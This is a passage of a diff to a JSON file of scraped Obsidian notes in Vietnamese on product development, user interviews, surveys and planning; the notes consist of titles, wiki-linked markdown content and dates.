khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần]]\n\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Hãy hỏi người dùng họ cần sản phẩm này để giải quyết việc gì]]", + "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]], [[Ưu tiên]]\n\n![Lecture 15 - How to Manage (Ben Horowitz) - YouTube](https://youtu.be/uVhTvQXfibU?si=TJEwubrYwssLj9kD&t=2002)\nNguồn:: \n[[Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó]]\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\n[[A problem well stated is half solved]]\n[[Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo]]\n[[Khả năng tạo ra được sự bền vững nằm ở việc có thấy được siêu vật hay không]]\n[[Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn]]\n[[Giả định có mặt ở khắp nơi]]. [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T04:10:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jx" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T10:48:00.000Z", + "id": "K9" }, { - "Tiêu đề": "Kết quả phỏng vấn phải actionable", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Kết quả phỏng vấn phải actionable", + "Tiêu đề": "Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Trong nhiều trường hợp, kết quả phỏng vấn bị rơi vào quên lãng]]. Nhóm có thể đã thực hiện nhiều cuộc phỏng vấn, nhưng các kết quả phỏng vấn này không đem lại giá trị đáng kể cho hoạt động của nhóm phát triển sản phẩm.\n\nCác câu hỏi trong cuộc phỏng vấn cần giúp cho việc nhận diện các vấn đề, nhu cầu của người dùng hoặc để kiểm chứng các giả thiết của sản phẩm đang phát triển. Các câu hỏi phỏng vấn cần được thiết kế theo cách xác định được những thông tin liên quan đến việc ra quyết định cho sản phẩm. Kết quả phỏng vấn cần được sử dụng để đánh giá lại chiến lược và hướng phát triển sản phẩm. Và cần có sự phối hợp giữa các bộ phận trong công ty để phỏng vấn người dùng có hiệu quả.\n\nCó một câu tôi hay dùng để tự nhắc nhở bản thân thế này: “Trước khi hỏi, bạn cần phải biết bạn sẽ làm gì với câu trả lời”\n\nNguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Khái niệm:: [[Ra quyết định]], [[Thảo luận]], [[Kế hoạch]]\n[[1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày]]\n[[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\n[[Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm]]\n[[Những thứ không quan trọng có thể tự xử lý lẫn nhau]]\n[[Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại]]\n[[Độ tác động của quyết định, độ có sẵn của thông tin, trạng thái của môi trường là một trong nhiều thứ bất định]]\n\n[[Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]\n[[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\n[[Muốn thấy được những vấn đề lớn cần sự thong thả]]\n[[Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết]]\n[[Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo]] \n[[Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn]] \n[[Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó]]\n[[Sự trì hoãn giúp giảm những hệ quả không lường trước được]]\n[[A problem well stated is half solved]]\n[[Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý]]\n[[Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng]]\n[[Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn]]\n[[Giả định có mặt ở khắp nơi]]. [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "Jy" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T12:18:00.000Z", + "id": "KA" }, { - "Tiêu đề": "Một số ví dụ về mục tiêu nghiên cứu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Một số ví dụ về mục tiêu nghiên cứu", + "Tiêu đề": "Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Trước khi phát triển sản phẩm/tính năng\n\n- Xác định xem người dùng có đang gặp vấn đề mà sản phẩm muốn giải quyết hay không và mức độ nghiêm trọng của vấn đề. (hoặc nhu cầu)\n- Hiểu cách người dùng hiện đang khắc phục sự cố (hoặc thỏa mãn nhu cầu), nếu có.\n- Xác định cách tiếp cận của người dùng đối với các giải pháp hoặc giải pháp thay thế hiện tại.\n- Xác định mức độ sẵn sàng trả tiền của người dùng cho một giải pháp.\n- Xác định các yếu tố ảnh hưởng đến quá trình ra quyết định của người dùng.\n- …\n\n# Trong quá trình phát triển sản phẩm/tính năng\n\n- Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm, tính năng, phản ứng với các thông điệp\n- Đánh giá khả năng chấp nhận của khách hàng với sản phẩm hoặc tính năng, kiểm tra mức giá\n- Kiểm tra mức độ ưu tiên của khách hàng với các yêu cầu tính năng cụ thể, tìm kiếm các yêu cầu còn chưa được đáp ứng\n- Kiểm tra cách khách hàng sử dụng hoặc phản ứng với tính năng, đánh giá tính dễ hiểu, dễ sử dụng\n- Kiểm tra các giả thuyết về sản phẩm hoặc tính năng nói chung (viability, usability)\n\nSau khi sản phẩm/tính năng được phát hành, có thể tiến hành phỏng vấn người dùng để thu thập phản hồi về trải nghiệm của người dùng và xác định các khu vực cần cải thiện.\n\n- Hiểu cách người dùng đang sử dụng sản phẩm/tính năng trong cuộc sống hàng ngày của họ\n- Đo lường sự hài lòng của người dùng và xác định các lĩnh vực cần cải thiện\n- Lý giải lý do người dùng rời bỏ hoặc lý do người dùng ở lại\n- Lý giải hành vi tương tác của họ trên mạng xã hội (tại sao like, khi nào like, tại sao ko like) \n- Thu thập phản hồi về các cải tiến tiềm năng hoặc các tính năng mới cho các lần lặp lại trong tương lai\n- Đo lường mức độ thành công của sản phẩm/tính năng dựa trên việc chấp nhận và sử dụng của người dùng\n- Thu thập lời chứng thực hoặc câu chuyện thành công cho mục đích tiếp thị.\n\nMục tiêu `Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm` nghe qua giống như mục tiêu `Xác định mức độ sẵn sàng khám phá sản phẩm của khách hàng`, tuy nhiên khác nhau ở chỗ một cái thì muốn tìm hiểu về thái độ, phương thức tiếp nhận, phản ứng đầu tiên khi nghe về sản phẩm, còn một cái thì muốn đánh giá nhu cầu, khả năng tiếp nhận. Nó đang cố dự đoán hành vi tương lai của người dùng (mà [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]). Nó kiểm tra khả năng bán hàng thì tốt hơn.\n\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu]]. [[Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp]]. ", + "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]]\n[[Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-12-20T15:35:00.000Z", - "id": "Jz" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-29T12:01:00.000Z", + "id": "KB" }, { - "Tiêu đề": "Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Nghiên cứu người dùng không nên là một bước, mà nên là một hoạt động diễn ra liên tục", + "Tiêu đề": "Mô hình kinh doanh và định giá", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Mô hình kinh doanh và định giá", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](https://i.imgur.com/lE5pZFO.png)\n\nNguồn:: [[Hoàng Đức Minh]]\n[[Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Startup Business Models and Pricing | Startup School - YouTube](https://youtu.be/oWZbWzAyHAE?si=KOV5J4cCtuDA-Yk8)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-09T16:42:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "J-" + "id": "KC" }, { - "Tiêu đề": "Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều", + "Tiêu đề": "Nghiên cứu, tìm ý tưởng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n[[❓Có nên phỏng vấn một người nhiều lần để vét cạn suy nghĩ của họ về các giả thiết của mình]] \nNguồn:: [[Hoàng Đức Minh]]", + "Toàn bộ nội dung": "[[Zalo] Quản lý chi tiêu nhóm](https://ptdat.notion.site/Zalo-Qu-n-l-chi-ti-u-nh-m-1e3961ef2cd040858538ffbb1dbedd3d)\n# Nghiên cứu Overview\n \n```ccard\ntype: folder_brief_live\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-06-09T05:01:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "J_" + "id": "KD" }, { - "Tiêu đề": "Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phần lớn các câu hỏi nghiên cứu không thể sử dụng để hỏi trực tiếp", + "Tiêu đề": "Dữ liệu cho dự đoán tin cậy về hành vi người dùng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Dữ liệu cho dự đoán tin cậy về hành vi người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lần gần nhất bạn làm cái này là gì?\n", + "Toàn bộ nội dung": "Tuy vậy, [[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]\nNguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-02-25T07:50:00.000Z", - "id": "K0" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "KE" }, { - "Tiêu đề": "Phỏng vấn là để hiểu vấn đề người dùng gặp phải, không phải để cải thiện giải pháp", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn là để hiểu vấn đề người dùng gặp phải, không phải để cải thiện giải pháp", + "Tiêu đề": "Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý do:: [[Người dùng thường không nói không với những tính năng mới]]\nNguồn:: [[Y Combinator]], ![Startup Business Models and Pricing | Startup School - YouTube](https://www.youtube.com/watch?v=oWZbWzAyHAE&list=PLQ-uHSnFig5M9fW16o2l35jrfdsxGknNB&index=5)", + "Toàn bộ nội dung": "Ví dụ, bằng dữ liệu, ta có thể biết một người dùng ứng dụng bao nhiêu lần một tháng, nhưng lại không biết họ dùng thế là nhiều hay ít, họ có dùng các sản phẩm của đối thủ cùng lúc không. Họ buộc phải dùng, chỉ dùng khi bất đắc dĩ, hay họ đang rất hào hứng. [[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người]], còn [[Dữ liệu cho dự đoán tin cậy về hành vi người dùng]]\nNguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2023-05-26T07:51:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "K1" + "id": "KF" }, { - "Tiêu đề": "Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn người dùng nên được diễn ra liên tục, tốt nhất là hàng tuần. Khảo sát thì không nên nhiều, mỗi quý một lần là được", + "Tiêu đề": "Có 4 loại câu hỏi: đặc điểm, thái độ, lòng tin, hành vi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Có 4 loại câu hỏi – đặc điểm, thái độ, lòng tin, hành vi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đặc điểm của phỏng vấn là số mẫu nhỏ, thiếu tính đại diện, nhưng bù lại cho phép bạn khám phá ra những thông tin mà các hình thức nghiên cứu quy mô không thể mang lại được, đặc biệt là các suy nghĩ và lối tư duy ẩn sau hành động của đối tượng. Vì vậy việc phỏng vấn thường xuyên sẽ cho phép bạn thường xuyên tiếp cận và ngày càng hiểu sâu sắc hơn về người dùng. \n\nViệc xếp lịch hàng tuần giúp bạn mỗi khi có ý tưởng mới thì sẽ có ngay nguồn đáp viên để kiểm tra lại \n\nHầu hết các nhóm sản phẩm có thể tạo ra một danh sách vô hạn các câu hỏi nghiên cứu. Luôn có nhiều điều để tìm hiểu về khách hàng của chúng ta. Một số nhóm giải quyết vấn đề này bằng cách tạo ra 1 kịch bản phỏng vấn rất dài. Nhưng chiến lược này giả định rằng bạn sẽ chỉ thỉnh thoảng nói chuyện với khách hàng, do đó, bạn cần hỏi khách hàng mọi thứ ngay trong 1 cuộc phỏng vấn. Thay vào đó, giả sử bạn sẽ nói chuyện với khách hàng hàng tuần và tập trung vào những gì bạn cần học tại thời điểm này. Như vậy, [[Nếu có thể phỏng vấn liên tục thì không gặp phải áp lực hỏi quá nhiều|bạn sẽ không bị áp lực hỏi quá nhiều]].\n\nTuy nhiên với khảo sát thì không nên khảo sát nhiều. Mỗi quý khảo sát là được\nThách thức:: [[Việc kiểm định giả thuyết thường bị bỏ qua khi có quá nhiều việc]] ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Bài giảng: Thiết kế câu hỏi khảo sát - YouTube](https://youtu.be/mCEzJTBYAFo?si=MdeGpKy7dQHLWTBq&t=582)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "K2" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-25T07:42:00.000Z", + "id": "KG" }, { - "Tiêu đề": "Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người", + "Tiêu đề": "Khảo sát thường được dùng để kiểm chứng các phát hiện quan trọng có được từ phỏng vấn trên quy mô lớn", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Khảo sát thường được dùng để kiểm chứng các phát hiện quan trọng có được từ phỏng vấn trên quy mô lớn", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]. [[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]. \n\n[[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]\nNguồn:: [[Hoàng Đức Minh]]\n[[Tìm hiểu vào bối cảnh, không chỉ hành vi đơn lẻ]]\n[[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]] \n[[Insight sẽ thường ra ngay lúc phỏng vấn]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-06-21T15:22:00.000Z", - "id": "K3" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "KH" }, { - "Tiêu đề": "Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ", + "Tiêu đề": "Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Khảo sát tốt nhất là chỉ có một câu. Người chịu khó trả lời câu hỏi mở thường là người đã quý mến mình sẵn rồi", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ nhiều người hay chê một ai đó là hát không hay, nhưng vẫn theo dõi và xem hết các MV của người đó mỗi khi ra mắt.\n\nMột mục tiêu nghiên cứu ví dụ là `Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm`. Mục tiêu này dành cho sản phẩm chưa ra đời, hoặc ít nhất là khách hàng chưa biết tới. Các câu hỏi nghiên cứu có thể là:\n- Khách hàng phản ứng như thế nào khi nghe ý tưởng về sản phẩm (hào hứng, tò mò, thờ ơ, hoang mang v.v)?\n- Khách hàng có cảm thấy họ sẽ muốn tìm hiểu về sản phẩm khi nghe đến ý tưởng này không?\n- Có các rào cản về văn hóa, và đạo đức khi nghe đến ý tưởng này không?\n\nVí dụ, mình từng phỏng vấn khách hàng về ý tưởng một mạng xã hội ăn uống dành cho MoMo, nơi một người nếu biết số điện thoại của người khác, có thể nhìn thấy lịch sử các quán ăn của người đó hay ăn. Mặc dù mọi người rất hào hứng với ý tưởng này, nhưng họ lại e ngại việc phải chia sẻ thông tin cá nhân cho người khác. Nhóm nghiên cứu sau đó dựa trên phản ứng này, đã quyết định ẩn thời gian, số lần ăn ở các quán, (chỉ hiện thị danh sách quán), bổ sung thêm tính năng cho phép ẩn danh, ẩn quán, và thiết kế thêm 1 số incentive cho người mở danh sách của mình và có nhiều lượt follow.\n\nMục tiêu `Kiểm tra cách khách hàng tiếp nhận ý tưởng về sản phẩm` nghe qua giống như mục tiêu `Xác định mức độ sẵn sàng khám phá sản phẩm của khách hàng`, tuy nhiên khác nhau ở chỗ một cái thì muốn tìm hiểu về thái độ, phương thức tiếp nhận, phản ứng đầu tiên khi nghe về sản phẩm, còn một cái thì muốn đánh giá nhu cầu, khả năng tiếp nhận. Nó đang cố dự đoán hành vi tương lai của người dùng (mà [[Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng]]). Nó kiểm tra khả năng bán hàng thì tốt hơn.\nNguồn:: [[Hoàng Đức Minh]]\n", + "Toàn bộ nội dung": "Nguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày tạo": "2023-09-09T16:42:00.000Z", "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "K4" + "id": "KI" }, { - "Tiêu đề": "Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn thường kém chính xác trong việc dự đoán các hành vi tương lai của người dùng", + "Tiêu đề": "Khảo sát định lượng chỉ có tính chính xác tương đối", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Khảo sát định lượng chỉ có tính chính xác tương đối", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Hỏi một người liệu sau này họ có làm điều này điều kia không là không chắc đúng", - "Toàn bộ nội dung": "Lý do:: [[Con người nhiều khi không nói dối mà chỉ đang lý tưởng hoá bản thân]]\nVí dụ về một số câu hỏi cho ra kết quả không đáng tin cậy:\n- Bạn có tính sử dụng sản phẩm không?\n- Bạn có sẵn lòng mua sản phẩm mới không?\n- Bạn muốn sản phẩm trông như thế nào?\n[[Dữ liệu cho dự đoán tin cậy về hành vi người dùng]] hơn.\n\nMặc dù phỏng vấn khó có thể dự đoán hành vi, nhưng [[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]. [[Khi phỏng vấn hãy hỏi cả về hành vi, đừng chỉ hỏi về lý do họ làm điều đó]]. [[Sử dụng nhiều phương pháp khác nhau để kiểm tra giả thuyết sẽ tránh thiên kiến tốt hơn là dùng một phương pháp nhiều lần]]\n[[Người có nhu cầu thường để lại ấn tượng nhiều, nhưng số lượng không nhiều trong thị trường]] \n[[Kết quả phỏng vấn phải actionable]]\n\nNguồn:: [[Hoàng Đức Minh]]\n\n[[Người dùng nói thích một tính năng không có nghĩa là họ sẽ bỏ những sản phẩm khác để đến với tính năng của mình]] \n[[Về mặt nhận thức, con người tương lai của chính mình không liên quan gì đến mình]]\nMâu thuẫn với:: [[Dữ liệu nhỏ cũng có tính dự báo xu hướng giống như dữ liệu lớn]]\nMâu thuẫn với:: [[Con người không muốn mâu thuẫn với những điều mình nói ra]]", + "Toàn bộ nội dung": "Sản phẩm chưa ra đời mà có người nhận làm khảo sát thì họ phải rất rảnh hoặc rất quý mình\n[[Người thích mình thường có nhu cầu khác về sản phẩm so với người không thích mình]]\n[[Phỏng vấn phù hợp để đánh giá cách tiếp nhận hay thái độ]]\nNguồn:: [[Hoàng Đức Minh]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-06-21T15:14:00.000Z", - "id": "K5" + "Ngày cập nhật": "2023-11-27T15:26:00.000Z", + "id": "KJ" }, { - "Tiêu đề": "Phỏng vấn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Phỏng vấn/Phỏng vấn", + "Tiêu đề": "Vì câu hỏi nghiên cứu thường là câu hỏi mở, nên ta cần chuyển thành câu hỏi định lượng được", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Người dùng/Khảo sát/Vì câu hỏi nghiên cứu thường là câu hỏi mở, nên ta cần chuyển thành câu hỏi định lượng được", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "\"IU004:\n\"IU005:\n```dataview\nLIST rows.file.link\nFROM \"⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Khảo sát, phỏng vấn người dùng\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ![Bài giảng: Thiết kế câu hỏi khảo sát - YouTube](https://youtu.be/mCEzJTBYAFo?si=0dXoU17UnWIeAHXC&t=884)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-01T06:54:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "K6" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-25T07:52:00.000Z", + "id": "KK" }, { - "Tiêu đề": "Trong nhiều trường hợp, kết 